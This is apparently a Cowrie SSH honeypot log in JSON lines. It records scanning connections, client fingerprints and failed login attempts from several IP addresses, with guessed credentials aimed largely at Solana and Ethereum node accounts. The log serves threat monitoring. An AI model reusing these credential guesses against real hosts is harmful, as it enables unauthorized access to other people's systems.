{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:56:04.185459Z","src_ip":"92.118.39.95","session":"445918fd7b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":39836,"dst_ip":"159.203.135.109","dst_port":22,"session":"02b6e04ca2c7","protocol":"ssh","message":"New connection: 2.57.122.96:39836 (159.203.135.109:22) [session: 02b6e04ca2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:05.434415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:05.438864Z","src_ip":"2.57.122.96","session":"02b6e04ca2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:05.538356Z","src_ip":"2.57.122.96","session":"02b6e04ca2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"jito","message":"login attempt [solana/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:05.838720Z","src_ip":"2.57.122.96","session":"02b6e04ca2c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:06.987882Z","src_ip":"2.57.122.96","session":"02b6e04ca2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":52324,"dst_ip":"10.17.0.5","dst_port":22,"session":"5022fc8898e3","protocol":"ssh","message":"New connection: 92.118.39.76:52324 (10.17.0.5:22) [session: 5022fc8898e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:23.562659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:23.566809Z","src_ip":"92.118.39.76","session":"5022fc8898e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:23.671261Z","src_ip":"92.118.39.76","session":"5022fc8898e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:23.992807Z","src_ip":"92.118.39.76","session":"5022fc8898e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:57:25.100125Z","src_ip":"92.118.39.76","session":"5022fc8898e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":57394,"dst_ip":"159.203.135.109","dst_port":22,"session":"af95b52e7654","protocol":"ssh","message":"New connection: 92.118.39.95:57394 (159.203.135.109:22) [session: af95b52e7654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:12.446986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:12.451007Z","src_ip":"92.118.39.95","session":"af95b52e7654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:12.563771Z","src_ip":"92.118.39.95","session":"af95b52e7654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:12.874343Z","src_ip":"92.118.39.95","session":"af95b52e7654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:13.981325Z","src_ip":"92.118.39.95","session":"af95b52e7654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"303.7","message":"Connection lost after 303.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:58:14.551856Z","src_ip":"101.126.82.218","session":"9508b92441ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.82.218","src_port":47948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c39150defc70","protocol":"ssh","message":"New connection: 101.126.82.218:47948 (10.17.0.5:22) [session: c39150defc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:24.840564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:24.845194Z","src_ip":"101.126.82.218","session":"c39150defc70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:25.082258Z","src_ip":"101.126.82.218","session":"c39150defc70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwe123","message":"login attempt [test/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:26.090115Z","src_ip":"101.126.82.218","session":"c39150defc70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":41416,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe18f866299f","protocol":"ssh","message":"New connection: 92.118.39.76:41416 (10.17.0.5:22) [session: fe18f866299f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:33.939752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:33.943537Z","src_ip":"92.118.39.76","session":"fe18f866299f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:34.042062Z","src_ip":"92.118.39.76","session":"fe18f866299f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:34.363394Z","src_ip":"92.118.39.76","session":"fe18f866299f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:35.464557Z","src_ip":"92.118.39.76","session":"fe18f866299f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":56258,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2aa3d4e96ce","protocol":"ssh","message":"New connection: 5.75.240.121:56258 (10.17.0.5:22) [session: c2aa3d4e96ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:36.360288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:36.366318Z","src_ip":"5.75.240.121","session":"c2aa3d4e96ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:36.460580Z","src_ip":"5.75.240.121","session":"c2aa3d4e96ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nnn","password":"Nnn2017","message":"login attempt [nnn/Nnn2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:36.650191Z","src_ip":"5.75.240.121","session":"c2aa3d4e96ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:37.746183Z","src_ip":"5.75.240.121","session":"c2aa3d4e96ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":35180,"dst_ip":"159.203.135.109","dst_port":22,"session":"95b1b2436aa2","protocol":"ssh","message":"New connection: 138.128.241.222:35180 (159.203.135.109:22) [session: 95b1b2436aa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:49.578479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:49.582440Z","src_ip":"138.128.241.222","session":"95b1b2436aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:49.587476Z","src_ip":"138.128.241.222","session":"95b1b2436aa2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"powr","password":"powr2017!","message":"login attempt [powr/powr2017!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:49.600001Z","src_ip":"138.128.241.222","session":"95b1b2436aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:50.607741Z","src_ip":"138.128.241.222","session":"95b1b2436aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33728,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c2c6ea6abf","protocol":"ssh","message":"New connection: 2.57.122.96:33728 (159.203.135.109:22) [session: 19c2c6ea6abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:57.085817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:57.165761Z","src_ip":"2.57.122.96","session":"19c2c6ea6abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:57.237980Z","src_ip":"2.57.122.96","session":"19c2c6ea6abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:59:57.657228Z","src_ip":"2.57.122.96","session":"19c2c6ea6abf","protocol":"ssh"}
